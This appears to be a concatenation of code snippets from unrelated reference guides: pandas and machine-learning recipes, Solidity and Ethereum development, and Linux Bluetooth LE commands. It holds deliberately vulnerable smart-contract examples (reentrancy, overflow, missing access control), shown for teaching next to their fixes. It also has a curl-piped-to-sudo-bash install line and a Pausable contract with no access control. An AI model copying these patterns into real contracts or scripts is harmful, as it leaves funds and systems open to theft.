df['result'] = np.where(df['value'] > 0, df['value'], 0)  # Vectorized ReLU

# Use query for complex filtering
df.query('A > 10 and B < 20')  # Can be faster than boolean indexing

# Use eval for expressions
df.eval('C = A + B')  # More memory efficient

# Avoid chained indexing
# BAD
df[df['A'] > 0]['B'] = 999  # SettingWithCopyWarning

# GOOD
df.loc[df['A'] > 0, 'B'] = 999

# Use categories for low-cardinality strings
df['category'] = df['category'].astype('category')

# Avoid loops, use groupby + transform
# BAD
for group in df['category'].unique():
    mask = df['category'] == group
    df.loc[mask, 'normalized'] = (
        df.loc[mask, 'value'] - df.loc[mask, 'value'].mean()
    )

# GOOD
df['normalized'] = df.groupby('category')['value'].transform(
    lambda x: x - x.mean()
)

# Set index for frequent lookups
df = df.set_index('id')  # O(1) lookups

# Sort index for range queries
df = df.sort_index()

# Multi-index for hierarchical data
df = df.set_index(['category', 'subcategory'])

# Reset when not needed
df = df.reset_index(drop=True)

# Use swifter for automatic parallelization
# pip install swifter
import swifter
df['result'] = df['value'].swifter.apply(complex_function)

# Manual multiprocessing
from multiprocessing import Pool
import numpy as np

def process_chunk(chunk):
    return chunk.apply(complex_function)

# Split dataframe
chunks = np.array_split(df, 4)  # 4 chunks

# Process in parallel
with Pool(4) as pool:
    results = pool.map(process_chunk, chunks)

df = pd.concat(results)

# Dask for out-of-core computation
import dask.dataframe as dd
ddf = dd.from_pandas(df, npartitions=4)
result = ddf.groupby('category').value.mean().compute()

from sklearn.model_selection import train_test_split

# Basic split
X = df[['feature1', 'feature2', 'feature3']]
y = df['target']

X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.2, random_state=42
)

# Stratified split (for classification)
X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.2, stratify=y, random_state=42
)

# Time series split (no shuffle)
split_point = int(len(df) * 0.8)
train = df[:split_point]
test = df[split_point:]

# One-hot encoding
df_encoded = pd.get_dummies(df, columns=['category'], prefix='cat')

# Or with scikit-learn
from sklearn.preprocessing import OneHotEncoder
encoder = OneHotEncoder(sparse=False, handle_unknown='ignore')
encoded = encoder.fit_transform(df[['category']])
df_encoded = pd.DataFrame(encoded, columns=encoder.get_feature_names_out())

# Label encoding (ordinal)
from sklearn.preprocessing import LabelEncoder
le = LabelEncoder()
df['category_encoded'] = le.fit_transform(df['category'])

# Binning
df['age_group'] = pd.cut(df['age'], bins=[0, 18, 35, 50, 100],
                         labels=['young', 'adult', 'middle', 'senior'])

# Interaction features
df['interaction'] = df['feature1'] * df['feature2']

# Polynomial features
from sklearn.preprocessing import PolynomialFeatures
poly = PolynomialFeatures(degree=2, include_bias=False)
poly_features = poly.fit_transform(df[['feature1', 'feature2']])
df_poly = pd.DataFrame(poly_features, columns=poly.get_feature_names_out())

# Log transform (for skewed data)
df['log_value'] = np.log1p(df['value'])  # log(1 + x)

# Date features
df['date'] = pd.to_datetime(df['date'])
df['year'] = df['date'].dt.year
df['month'] = df['date'].dt.month
df['day_of_week'] = df['date'].dt.dayofweek
df['is_weekend'] = df['date'].dt.dayofweek.isin([5, 6]).astype(int)
df['quarter'] = df['date'].dt.quarter

from sklearn.preprocessing import StandardScaler, MinMaxScaler, RobustScaler

# Standardization (z-score normalization)
scaler = StandardScaler()
df[['feature1', 'feature2']] = scaler.fit_transform(df[['feature1', 'feature2']])

# Min-Max scaling (0-1 range)
scaler = MinMaxScaler()
df[['feature1', 'feature2']] = scaler.fit_transform(df[['feature1', 'feature2']])

# Robust scaling (less sensitive to outliers)
scaler = RobustScaler()
df[['feature1', 'feature2']] = scaler.fit_transform(df[['feature1', 'feature2']])

# Manual standardization
df['normalized'] = (df['value'] - df['value'].mean()) / df['value'].std()

# Group-wise scaling
df['scaled'] = df.groupby('category')['value'].transform(
    lambda x: (x - x.mean()) / x.std()
)

# Check class distribution
df['target'].value_counts()
df['target'].value_counts(normalize=True)

# Undersampling majority class
from sklearn.utils import resample

# Separate classes
df_majority = df[df['target'] == 0]
df_minority = df[df['target'] == 1]

# Downsample majority
df_majority_downsampled = resample(
    df_majority,
    replace=False,
    n_samples=len(df_minority),
    random_state=42
)

df_balanced = pd.concat([df_majority_downsampled, df_minority])

# Oversampling minority class
df_minority_upsampled = resample(
    df_minority,
    replace=True,
    n_samples=len(df_majority),
    random_state=42
)

df_balanced = pd.concat([df_majority, df_minority_upsampled])

# SMOTE (Synthetic Minority Over-sampling)
from imblearn.over_sampling import SMOTE
smote = SMOTE(random_state=42)
X_resampled, y_resampled = smote.fit_resample(X, y)

from sklearn.model_selection import KFold, StratifiedKFold, TimeSeriesSplit

# K-Fold
kf = KFold(n_splits=5, shuffle=True, random_state=42)
for train_idx, val_idx in kf.split(df):
    train = df.iloc[train_idx]
    val = df.iloc[val_idx]
    # Train and evaluate

# Stratified K-Fold (for classification)
skf = StratifiedKFold(n_splits=5, shuffle=True, random_state=42)
for train_idx, val_idx in skf.split(X, y):
    X_train, X_val = X.iloc[train_idx], X.iloc[val_idx]
    y_train, y_val = y.iloc[train_idx], y.iloc[val_idx]

# Time Series Split
tscv = TimeSeriesSplit(n_splits=5)
for train_idx, val_idx in tscv.split(df):
    train = df.iloc[train_idx]
    val = df.iloc[val_idx]

# Correlation with target
correlations = df.corr()['target'].sort_values(ascending=False)
top_features = correlations[1:11].index.tolist()  # Top 10

# Variance threshold
from sklearn.feature_selection import VarianceThreshold
selector = VarianceThreshold(threshold=0.1)
X_selected = selector.fit_transform(X)

# Univariate feature selection
from sklearn.feature_selection import SelectKBest, f_classif
selector = SelectKBest(f_classif, k=10)
X_selected = selector.fit_transform(X, y)
selected_features = X.columns[selector.get_support()]

# Recursive Feature Elimination
from sklearn.feature_selection import RFE
from sklearn.ensemble import RandomForestClassifier

model = RandomForestClassifier()
rfe = RFE(model, n_features_to_select=10)
rfe.fit(X, y)
selected_features = X.columns[rfe.support_]

# Feature importance from tree models
from sklearn.ensemble import RandomForestClassifier
model = RandomForestClassifier()
model.fit(X, y)
feature_importance = pd.DataFrame({
    'feature': X.columns,
    'importance': model.feature_importances_
}).sort_values('importance', ascending=False)

# DataFrame to NumPy array
array = df.values
array = df.to_numpy()  # Preferred

# Specific columns
array = df[['A', 'B']].values

# NumPy array to DataFrame
df = pd.DataFrame(array, columns=['A', 'B', 'C'])

# Apply NumPy functions
df['result'] = np.sqrt(df['value'])
df['log'] = np.log1p(df['value'])

# NumPy operations on DataFrames
df_normalized = (df - df.mean()) / df.std()

from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA
from sklearn.ensemble import RandomForestClassifier

# Preprocessing
scaler = StandardScaler()
X_scaled = scaler.fit_transform(df[features])
X_scaled = pd.DataFrame(X_scaled, columns=features, index=df.index)

# PCA
pca = PCA(n_components=2)
principal_components = pca.fit_transform(X_scaled)
df_pca = pd.DataFrame(principal_components, columns=['PC1', 'PC2'])

# Model training
model = RandomForestClassifier()
model.fit(X_train, y_train)

# Predictions
predictions = model.predict(X_test)
df['predictions'] = predictions

# Probabilities
probabilities = model.predict_proba(X_test)
df_probs = pd.DataFrame(probabilities, columns=model.classes_)

import matplotlib.pyplot as plt
import seaborn as sns

# Pandas built-in plotting
df['value'].plot(kind='hist', bins=30)
df.plot(x='date', y='value', kind='line')
df.plot(kind='scatter', x='A', y='B', c='C', colormap='viridis')

# Bar plot
df.groupby('category')['value'].sum().plot(kind='bar')

# Box plot
df.boxplot(column='value', by='category')

# Correlation heatmap
plt.figure(figsize=(10, 8))
sns.heatmap(df.corr(), annot=True, cmap='coolwarm')

# Pairplot
sns.pairplot(df, hue='category')

# Distribution plot
sns.histplot(data=df, x='value', hue='category', kde=True)

# Time series
df.set_index('date')['value'].plot(figsize=(12, 6))

import sqlite3
from sqlalchemy import create_engine

# SQLite
conn = sqlite3.connect('database.db')

# Read
df = pd.read_sql('SELECT * FROM table', conn)
df = pd.read_sql_query('SELECT * FROM table WHERE id > 100', conn)

# Write
df.to_sql('table_name', conn, if_exists='replace', index=False)

# SQLAlchemy (more databases)
engine = create_engine('postgresql://user:pass@localhost/dbname')
df = pd.read_sql('SELECT * FROM table', engine)
df.to_sql('table_name', engine, if_exists='append', index=False)

# Chunked reading for large tables
for chunk in pd.read_sql('SELECT * FROM large_table', conn, chunksize=10000):
    process(chunk)

from pyspark.sql import SparkSession

spark = SparkSession.builder.appName('example').getOrCreate()

# Pandas to Spark
spark_df = spark.createDataFrame(df)

# Spark to Pandas
df = spark_df.toPandas()

# Distributed operations
spark_df.groupBy('category').agg({'value': 'sum'}).show()

# Use meaningful variable names
user_data = pd.read_csv('users.csv')  # Good
df = pd.read_csv('users.csv')        # Acceptable for exploratory

# Method chaining (when appropriate)
result = (df
    .query('age > 18')
    .groupby('category')
    ['value'].sum()
    .sort_values(ascending=False)
    .head(10)
)

# Avoid chained assignment
# BAD
df[df['A'] > 0]['B'] = 999  # SettingWithCopyWarning

# GOOD
df.loc[df['A'] > 0, 'B'] = 999

# Use .copy() when needed
df_subset = df[df['A'] > 0].copy()
df_subset['B'] = 999  # Safe

# Check for missing values before operations
if df['column'].isna().any():
    df['column'].fillna(0, inplace=True)

# Validate data types
assert df['age'].dtype == 'int64', "Age must be integer"

# Handle divisions by zero
df['ratio'] = df['A'] / df['B'].replace(0, np.nan)

# Try-except for robust code
try:
    df['date'] = pd.to_datetime(df['date'])
except ValueError:
    df['date'] = pd.to_datetime(df['date'], errors='coerce')

# 1. Use vectorized operations
df['result'] = df['A'] + df['B']  # Fast

# 2. Avoid iterrows()
# for idx, row in df.iterrows():  # SLOW!

# 3. Use categorical for low-cardinality strings
df['category'] = df['category'].astype('category')

# 4. Read only needed columns
df = pd.read_csv('file.csv', usecols=['A', 'B', 'C'])

# 5. Use appropriate dtypes
df = pd.read_csv('file.csv', dtype={'id': 'int32', 'value': 'float32'})

# 6. Filter early, aggregate late
result = df[df['year'] == 2023].groupby('category').sum()  # Good

# 7. Use query() for complex conditions
df.query('A > 10 and B < 20')

# 8. Profile your code
import pandas as pd
pd.set_option('mode.chained_assignment', 'warn')  # Catch issues

# Schema validation
expected_columns = ['id', 'name', 'age', 'email']
assert set(expected_columns).issubset(df.columns), "Missing columns"

# Type validation
assert df['age'].dtype in ['int64', 'int32'], "Age must be integer"

# Range validation
assert df['age'].between(0, 120).all(), "Invalid age values"

# No duplicates
assert not df['id'].duplicated().any(), "Duplicate IDs found"

# No missing values in required columns
required = ['id', 'name']
assert df[required].notna().all().all(), "Missing required values"

# Using pandera (schema validation library)
# import pandera as pa
# schema = pa.DataFrameSchema({
#     'id': pa.Column(int, pa.Check.greater_than(0)),
#     'age': pa.Column(int, pa.Check.in_range(0, 120)),
#     'name': pa.Column(str, nullable=False)
# })
# validated_df = schema.validate(df)

def process_sales_data(df: pd.DataFrame) -> pd.DataFrame:
    """
    Process raw sales data.

    Parameters:
    -----------
    df : pd.DataFrame
        Raw sales data with columns: date, product, quantity, price

    Returns:
    --------
    pd.DataFrame
        Processed data with additional columns: revenue, month, year

    Examples:
    ---------
    >>> df = pd.DataFrame({
    ...     'date': ['2023-01-01', '2023-01-02'],
    ...     'product': ['A', 'B'],
    ...     'quantity': [10, 20],
    ...     'price': [100, 200]
    ... })
    >>> processed = process_sales_data(df)
    """
    df = df.copy()
    df['date'] = pd.to_datetime(df['date'])
    df['revenue'] = df['quantity'] * df['price']
    df['month'] = df['date'].dt.month
    df['year'] = df['date'].dt.year
    return df

+----------------------------------+
|         Block Header             |
|----------------------------------|
| - Version                        |
| - Previous Block Hash            |
| - Merkle Root                    |
| - Timestamp                      |
| - Difficulty Target              |
| - Nonce                          |
|----------------------------------|
|      Transaction Data            |
|----------------------------------|
| - Transaction 1                  |
| - Transaction 2                  |
| - Transaction 3                  |
| - ...                            |
+----------------------------------+

Block 1         Block 2         Block 3
+-------+      +-------+      +-------+
| Hash  |  <-- | Prev  |  <-- | Prev  |
| Data  |      | Hash  |      | Hash  |
| Txs   |      | Data  |      | Data  |
+-------+      +-------+      +-------+

1. User initiates transaction
   ↓
2. Transaction broadcast to network
   ↓
3. Nodes validate transaction
   ↓
4. Valid transactions added to mempool
   ↓
5. Miners select transactions for new block
   ↓
6. Block mined and broadcast to network
   ↓
7. Nodes validate and add block to chain
   ↓
8. Transaction confirmed

# SHA-256 (used in Bitcoin)
echo -n "Hello, Blockchain!" | sha256sum
# Output: 32-byte (256-bit) hash

# Keccak-256 (used in Ethereum)
# Output: 32-byte (256-bit) hash

Input: "Hello"
SHA-256: 185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969

Input: "hello"  (only case change)
SHA-256: 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824

Process:
1. Generate private key (random 256-bit number)
2. Derive public key from private key
3. Create signature using private key + transaction data
4. Anyone can verify signature using public key

        Root Hash
           |
    +------+------+
    |             |
  Hash01       Hash23
    |             |
  +--+--+      +--+--+
  |     |      |     |
Hash0 Hash1 Hash2 Hash3
  |     |      |     |
 Tx0   Tx1    Tx2   Tx3

Target: Hash must start with certain number of zeros
Block data: "transactions + nonce"

Attempt 1: hash(data + 1) = 8a3f2c... (invalid)
Attempt 2: hash(data + 2) = 7b4e1d... (invalid)
...
Attempt 173947: hash(data + 173947) = 0000a3... (valid!)

# Simplified Bitcoin transaction
{
    "inputs": [
        {
            "previous_tx": "abc123...",
            "output_index": 0,
            "signature": "signature_data"
        }
    ],
    "outputs": [
        {
            "amount": 0.5,  # BTC
            "recipient": "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
        }
    ]
}

# Pay-to-Public-Key-Hash (P2PKH)
OP_DUP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG

Transaction Cost = Gas Used × Gas Price

Example:
- Simple transfer: 21,000 gas
- Gas price: 50 gwei
- Cost: 21,000 × 50 = 1,050,000 gwei = 0.00105 ETH

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract HelloWorld {
    string public message;

    constructor() {
        message = "Hello, Blockchain!";
    }

    function setMessage(string memory newMessage) public {
        message = newMessage;
    }

    function getMessage() public view returns (string memory) {
        return message;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract MyToken is IERC20 {
    string public name = "MyToken";
    string public symbol = "MTK";
    uint8 public decimals = 18;
    uint256 private _totalSupply;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(uint256 initialSupply) {
        _totalSupply = initialSupply * 10**decimals;
        _balances[msg.sender] = _totalSupply;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) external override returns (bool) {
        require(_balances[msg.sender] >= amount, "Insufficient balance");
        _balances[msg.sender] -= amount;
        _balances[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
        require(_balances[from] >= amount, "Insufficient balance");
        require(_allowances[from][msg.sender] >= amount, "Insufficient allowance");

        _balances[from] -= amount;
        _balances[to] += amount;
        _allowances[from][msg.sender] -= amount;

        emit Transfer(from, to, amount);
        return true;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC721 {
    function balanceOf(address owner) external view returns (uint256);
    function ownerOf(uint256 tokenId) external view returns (address);
    function transferFrom(address from, address to, uint256 tokenId) external;
    function approve(address to, uint256 tokenId) external;
    function getApproved(uint256 tokenId) external view returns (address);

    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
}

// Value Types
bool public isActive = true;
uint256 public number = 42;
int256 public signedNumber = -10;
address public owner = 0x1234...;
bytes32 public data;

// Reference Types
string public name = "Token";
uint[] public numbers;
mapping(address => uint256) public balances;

// Structs
struct User {
    string name;
    uint256 age;
    bool active;
}

// Enums
enum State { Pending, Active, Inactive }

contract Ownable {
    address public owner;

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function restrictedFunction() public onlyOwner {
        // Only owner can call
    }
}

contract ReentrancyGuard {
    bool private locked;

    modifier noReentrant() {
        require(!locked, "No reentrancy");
        locked = true;
        _;
        locked = false;
    }

    function withdraw() public noReentrant {
        // Safe from reentrancy attacks
    }
}

contract Pausable {
    bool public paused;

    modifier whenNotPaused() {
        require(!paused, "Contract is paused");
        _;
    }

    function pause() public {
        paused = true;
    }

    function unpause() public {
        paused = false;
    }
}

# Install Node.js (LTS version recommended)
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt-get install -y nodejs

# Verify installation
node --version
npm --version

# Create project directory
mkdir my-blockchain-project
cd my-blockchain-project

# Initialize npm project
npm init -y

# Install Hardhat
npm install --save-dev hardhat

# Initialize Hardhat project
npx hardhat init

require("@nomiclabs/hardhat-waffle");
require("@nomiclabs/hardhat-ethers");

module.exports = {
  solidity: "0.8.20",
  networks: {
    hardhat: {},
    sepolia: {
      url: "https://sepolia.infura.io/v3/YOUR_INFURA_KEY",
      accounts: ["YOUR_PRIVATE_KEY"]
    }
  }
};

# Install Truffle globally
npm install -g truffle

# Create new project
mkdir truffle-project
cd truffle-project
truffle init

# Compile contracts
truffle compile

# Deploy contracts
truffle migrate

const Web3 = require('web3');

// Connect to Ethereum node
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');

// Get latest block
const block = await web3.eth.getBlock('latest');
console.log(block);

// Get account balance
const balance = await web3.eth.getBalance('0x742d35Cc6634C0532925a3b844Bc454e4438f44e');
console.log(web3.utils.fromWei(balance, 'ether'), 'ETH');

// Send transaction
const tx = await web3.eth.sendTransaction({
  from: '0xYourAddress',
  to: '0xRecipientAddress',
  value: web3.utils.toWei('0.1', 'ether')
});

const { ethers } = require('ethers');

// Connect to provider
const provider = new ethers.JsonRpcProvider('https://mainnet.infura.io/v3/YOUR_KEY');

// Get balance
const balance = await provider.getBalance('0x742d35Cc6634C0532925a3b844Bc454e4438f44e');
console.log(ethers.formatEther(balance), 'ETH');

// Create wallet
const wallet = new ethers.Wallet('YOUR_PRIVATE_KEY', provider);

// Interact with contract
const contract = new ethers.Contract(contractAddress, abi, wallet);
const result = await contract.someFunction();

from web3 import Web3

# Connect to node
w3 = Web3(Web3.HTTPProvider('https://mainnet.infura.io/v3/YOUR_KEY'))

# Check connection
print(w3.is_connected())

# Get balance
balance = w3.eth.get_balance('0x742d35Cc6634C0532925a3b844Bc454e4438f44e')
print(w3.from_wei(balance, 'ether'))

# Send transaction
tx = {
    'from': '0xYourAddress',
    'to': '0xRecipientAddress',
    'value': w3.to_wei(0.1, 'ether'),
    'gas': 21000,
    'gasPrice': w3.eth.gas_price
}

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("MyToken", function () {
  let myToken;
  let owner;
  let addr1;
  let addr2;

  beforeEach(async function () {
    [owner, addr1, addr2] = await ethers.getSigners();

    const MyToken = await ethers.getContractFactory("MyToken");
    myToken = await MyToken.deploy(1000000);
    await myToken.waitForDeployment();
  });

  it("Should assign total supply to owner", async function () {
    const ownerBalance = await myToken.balanceOf(owner.address);
    expect(await myToken.totalSupply()).to.equal(ownerBalance);
  });

  it("Should transfer tokens between accounts", async function () {
    // Transfer 50 tokens from owner to addr1
    await myToken.transfer(addr1.address, 50);
    expect(await myToken.balanceOf(addr1.address)).to.equal(50);

    // Transfer 50 tokens from addr1 to addr2
    await myToken.connect(addr1).transfer(addr2.address, 50);
    expect(await myToken.balanceOf(addr2.address)).to.equal(50);
  });

  it("Should fail if sender doesn't have enough tokens", async function () {
    const initialBalance = await myToken.balanceOf(owner.address);

    await expect(
      myToken.connect(addr1).transfer(owner.address, 1)
    ).to.be.revertedWith("Insufficient balance");

    expect(await myToken.balanceOf(owner.address)).to.equal(initialBalance);
  });
});

// scripts/deploy.js
async function main() {
  const [deployer] = await ethers.getSigners();

  console.log("Deploying contracts with:", deployer.address);
  console.log("Account balance:", (await deployer.getBalance()).toString());

  const MyToken = await ethers.getContractFactory("MyToken");
  const myToken = await MyToken.deploy(1000000);

  await myToken.waitForDeployment();
  console.log("MyToken deployed to:", await myToken.getAddress());
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

# Deploy to local network
npx hardhat run scripts/deploy.js

# Deploy to testnet
npx hardhat run scripts/deploy.js --network sepolia

# Verify contract on Etherscan
npx hardhat verify --network sepolia DEPLOYED_CONTRACT_ADDRESS "constructor args"

npm install -g ganache
ganache

npm install @openzeppelin/contracts

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MyToken is ERC20 {
    constructor() ERC20("MyToken", "MTK") {
        _mint(msg.sender, 1000000 * 10**18);
    }
}

Frontend (Web UI)
       ↓
   Web3 Library
       ↓
  Blockchain Node
       ↓
  Smart Contracts

import { useState, useEffect } from 'react';
import { ethers } from 'ethers';

function App() {
  const [account, setAccount] = useState('');
  const [contract, setContract] = useState(null);
  const [balance, setBalance] = useState('0');

  // Connect to MetaMask
  async function connectWallet() {
    if (window.ethereum) {
      try {
        const accounts = await window.ethereum.request({
          method: 'eth_requestAccounts'
        });
        setAccount(accounts[0]);

        // Setup provider and contract
        const provider = new ethers.BrowserProvider(window.ethereum);
        const signer = await provider.getSigner();

        const contractAddress = '0xYourContractAddress';
        const abi = [ /* Your contract ABI */ ];

        const tokenContract = new ethers.Contract(contractAddress, abi, signer);
        setContract(tokenContract);

        // Get balance
        const bal = await tokenContract.balanceOf(accounts[0]);
        setBalance(ethers.formatEther(bal));
      } catch (error) {
        console.error(error);
      }
    } else {
      alert('Please install MetaMask!');
    }
  }

  // Transfer tokens
  async function transfer(recipient, amount) {
    if (contract) {
      try {
        const tx = await contract.transfer(
          recipient,
          ethers.parseEther(amount)
        );
        await tx.wait();
        alert('Transfer successful!');
      } catch (error) {
        console.error(error);
      }
    }
  }

  return (
    <div>
      <h1>My Token DApp</h1>
      {!account ? (
        <button onClick={connectWallet}>Connect Wallet</button>
      ) : (
        <div>
          <p>Account: {account}</p>
          <p>Balance: {balance} MTK</p>
        </div>
      )}
    </div>
  );
}

# Install IPFS
npm install ipfs-http-client

# Upload file to IPFS
const { create } = require('ipfs-http-client');
const ipfs = create({ url: 'https://ipfs.infura.io:5001' });

async function uploadToIPFS(file) {
  const added = await ipfs.add(file);
  const url = `https://ipfs.io/ipfs/${added.path}`;
  return url;
}

# Example query
{
  tokens(first: 5) {
    id
    name
    symbol
    decimals
  }

  transfers(orderBy: timestamp, orderDirection: desc) {
    id
    from
    to
    value
  }
}

// VULNERABLE
function withdraw() public {
    uint amount = balances[msg.sender];
    // External call before state update!
    (bool success,) = msg.sender.call{value: amount}("");
    require(success);
    balances[msg.sender] = 0;  // Too late!
}

// SECURE: Checks-Effects-Interactions pattern
function withdraw() public {
    uint amount = balances[msg.sender];
    balances[msg.sender] = 0;  // Update state first
    (bool success,) = msg.sender.call{value: amount}("");
    require(success);
}

// VULNERABLE (Solidity < 0.8.0)
uint8 x = 255;
x = x + 1;  // Overflows to 0

// SECURE: Use Solidity 0.8.0+ (automatic checks)
// Or use SafeMath library for older versions

// VULNERABLE: Missing access control
function withdraw() public {
    // Anyone can call!
}

// SECURE
address public owner;

modifier onlyOwner() {
    require(msg.sender == owner, "Not authorized");
    _;
}

function withdraw() public onlyOwner {
    // Only owner can call
}

// RISKY: Miners can manipulate timestamp slightly
require(block.timestamp > deadline);

// Better: Use block numbers for critical logic
require(block.number > deadlineBlock);

// Use latest Solidity version
pragma solidity ^0.8.20;

// Use OpenZeppelin libraries
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

// Clear naming and documentation
/// @notice Transfers tokens to recipient
/// @param to The recipient address
/// @param amount The amount to transfer
function transfer(address to, uint256 amount) public returns (bool) {
    // Implementation
}

# Slither - Static analyzer
pip3 install slither-analyzer
slither contracts/MyContract.sol

# Mythril - Security analysis
pip3 install mythril
myth analyze contracts/MyContract.sol

# Echidna - Fuzzer
echidna-test contracts/MyContract.sol

Farm → Processing → Distribution → Retail → Consumer
 ↓         ↓            ↓           ↓         ↓
[All steps recorded on blockchain with timestamps and locations]

# Ethereum Testnets
- Sepolia (recommended)
- Goerli (being deprecated)
- Holesky (for staking)

# Get test ETH from faucets:
- https://sepoliafaucet.com/
- https://faucet.quicknode.com/

┌─────────────────────────────────┐
│   Application Layer             │
├─────────────────────────────────┤
│   GAP (Generic Access Profile)  │
│   GATT (Generic Attribute)      │
├─────────────────────────────────┤
│   ATT (Attribute Protocol)      │
├─────────────────────────────────┤
│   L2CAP (Logical Link Control)  │
├─────────────────────────────────┤
│   HCI (Host Controller Interface│
├─────────────────────────────────┤
│   Link Layer                    │
├─────────────────────────────────┤
│   Physical Layer (PHY)          │
└─────────────────────────────────┘

Standby → Advertising → Connected
       ↓             ↗
       → Scanning →
       ↓
       → Initiating → Connected

Profile
  └── Service (UUID)
       ├── Characteristic (UUID)
       │    ├── Value
       │    └── Descriptors
       │         ├── Client Characteristic Configuration (0x2902)
       │         ├── Characteristic User Description (0x2901)
       │         └── ...
       └── Characteristic (UUID)
            └── ...

[Length][Type][Data][Length][Type][Data]...

02 01 06  // Flags: General Discoverable, BR/EDR not supported
09 09 4D 79 44 65 76 69 63 65  // Complete Local Name: "MyDevice"
03 03 0F 18  // Complete list of 16-bit UUIDs: 0x180F (Battery Service)

Central                    Peripheral
  |                             |
  |------ SCAN_REQ ----------->|
  |<----- SCAN_RSP ------------|
  |                             |
  |------ CONNECT_REQ -------->|
  |<----- Connection Event --->|
  |<----- Connection Event --->|

Theoretical Max = (MTU - 3) / Connection_Interval
Practical: 5-20 kB/s typical, up to 100+ kB/s with BLE 5.0 2M PHY

sudo apt-get update
sudo apt-get install bluez bluez-tools

sudo dnf install bluez bluez-tools

sudo pacman -S bluez bluez-utils

┌─────────────────────────────────┐
│   Applications (gatttool, etc)  │
├─────────────────────────────────┤
│   D-Bus API                     │
├─────────────────────────────────┤
│   bluetoothd (daemon)           │
├─────────────────────────────────┤
│   Kernel Bluetooth Subsystem    │
├─────────────────────────────────┤
│   HCI Driver                    │
├─────────────────────────────────┤
│   Bluetooth Hardware            │
└─────────────────────────────────┘

# Start bluetoothctl
bluetoothctl

# Show controller information
[bluetooth]# show

# Power on the controller
[bluetooth]# power on

# Enable scanning
[bluetooth]# scan on

# List discovered devices
[bluetooth]# devices

# Connect to a device
[bluetooth]# connect AA:BB:CC:DD:EE:FF

# Pair with a device
[bluetooth]# pair AA:BB:CC:DD:EE:FF

# Trust a device (auto-connect)
[bluetooth]# trust AA:BB:CC:DD:EE:FF

# Show device info
[bluetooth]# info AA:BB:CC:DD:EE:FF

# Disconnect
[bluetooth]# disconnect AA:BB:CC:DD:EE:FF

# Remove device
[bluetooth]# remove AA:BB:CC:DD:EE:FF

# List services
[bluetooth]# menu gatt
[bluetooth]# list-attributes AA:BB:CC:DD:EE:FF

# Select a characteristic
[bluetooth]# select-attribute /org/bluez/hci0/dev_AA_BB_CC_DD_EE_FF/service0010/char0011

# Read characteristic
[bluetooth]# read

# Write characteristic
[bluetooth]# write 0x01 0x02 0x03

# Enable notifications
[bluetooth]# notify on

# List Bluetooth controllers
hciconfig

# Scan for BLE devices (requires root)
sudo hcitool lescan

# Scan with RSSI values
sudo hcitool lescan --duplicates

# Get device information
hcitool info AA:BB:CC:DD:EE:FF

# Connection info
hcitool conn

# Show all controllers
hciconfig

# Bring interface up
sudo hciconfig hci0 up

# Bring interface down
sudo hciconfig hci0 down

# Reset device
sudo hciconfig hci0 reset

# Change device name
sudo hciconfig hci0 name "MyDevice"

# Enable/disable advertising
sudo hciconfig hci0 leadv 0  # Disable
sudo hciconfig hci0 leadv 3  # Enable non-connectable advertising

# Interactive mode
gatttool -b AA:BB:CC:DD:EE:FF -I

# Connect
[AA:BB:CC:DD:EE:FF][LE]> connect

# Discover primary services
[AA:BB:CC:DD:EE:FF][LE]> primary

# Discover all characteristics
[AA:BB:CC:DD:EE:FF][LE]> characteristics

# Read characteristic by handle
[AA:BB:CC:DD:EE:FF][LE]> char-read-hnd 0x0011

# Read characteristic by UUID
[AA:BB:CC:DD:EE:FF][LE]> char-read-uuid 00002a00-0000-1000-8000-00805f9b34fb

# Write characteristic
[AA:BB:CC:DD:EE:FF][LE]> char-write-req 0x0011 0102

# Write without response
[AA:BB:CC:DD:EE:FF][LE]> char-write-cmd 0x0011 0102

# Listen for notifications
[AA:BB:CC:DD:EE:FF][LE]> char-write-req 0x0012 0100  # Enable notifications (write 0x0001 to CCCD)

# Read characteristic
gatttool -b AA:BB:CC:DD:EE:FF --char-read --handle=0x0011

# Write characteristic
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req --handle=0x0011 --value=0102

# Listen for notifications
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req --handle=0x0012 --value=0100 --listen

# Monitor all Bluetooth traffic
sudo btmon

# Save to file
sudo btmon -w capture.btsnoop

# Filter by HCI index
sudo btmon -i hci0

